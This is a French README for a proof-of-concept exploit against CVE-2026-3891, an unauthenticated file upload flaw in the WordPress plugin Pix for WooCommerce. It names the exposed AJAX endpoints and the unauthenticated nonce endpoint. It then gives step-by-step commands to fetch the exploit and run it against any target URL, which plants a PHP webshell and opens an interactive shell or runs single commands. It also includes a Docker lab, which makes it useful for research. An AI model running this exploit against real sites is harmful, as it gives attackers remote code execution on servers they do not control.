
Pix for WooCommerce <= 1.5.0 - Téléversement de fichier arbitraire non authentifié (CVE-2026-3891) PoC
CVE-2026-3891 est une vulnérabilité de téléchargement arbitraire de fichiers non authentifié dans le plugin WordPress Pix for WooCommerce. Le plugin expose un endpoint AJAX (lkn_pix_for_woocommerce_c6_save_settings) qui accepte le téléchargement de fichiers de certificat sans aucune authentification. Un nonce peut être obtenu sans authentification via un second endpoint exposé (lkn_pix_for_woocommerce_generate_nonce), permettant à un attaquant entièrement non authentifié de télécharger des fichiers arbitraires — y compris des webshells PHP — directement à la racine web.
Versions concernées : payment-gateway-pix-for-woocommerce <= 1.5.0
--commandgit clone https://github.com/joshuavanderpoll/CVE-2026-3891.git
cd CVE-2026-3891
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-3891.git
cd CVE-2026-3891
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-3891.py --url <TARGET_URL> [--command <CMD>] [--timeout <SECONDS>] [--useragent <UA>]
Exploitez la cible et lancez une session shell interactive persistante pour exécuter plusieurs commandes.
python3 CVE-2026-3891.py --url 'https://target.com'

Exécutez une commande unique sur la cible et affichez la sortie, utile pour les scripts ou les vérifications rapides.
python3 CVE-2026-3891.py --url 'https://target.com' --command whoami
Commande unique
Un environnement Docker Compose autonome avec le logiciel vulnérable pour des tests locaux. Consultez DOCKER.md pour plus de détails
cd docker/
docker compose up -d
python3 CVE-2026-3891.py --url 'http://localhost:8080'
Cet outil est fourni uniquement à des fins éducatives et de recherche. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.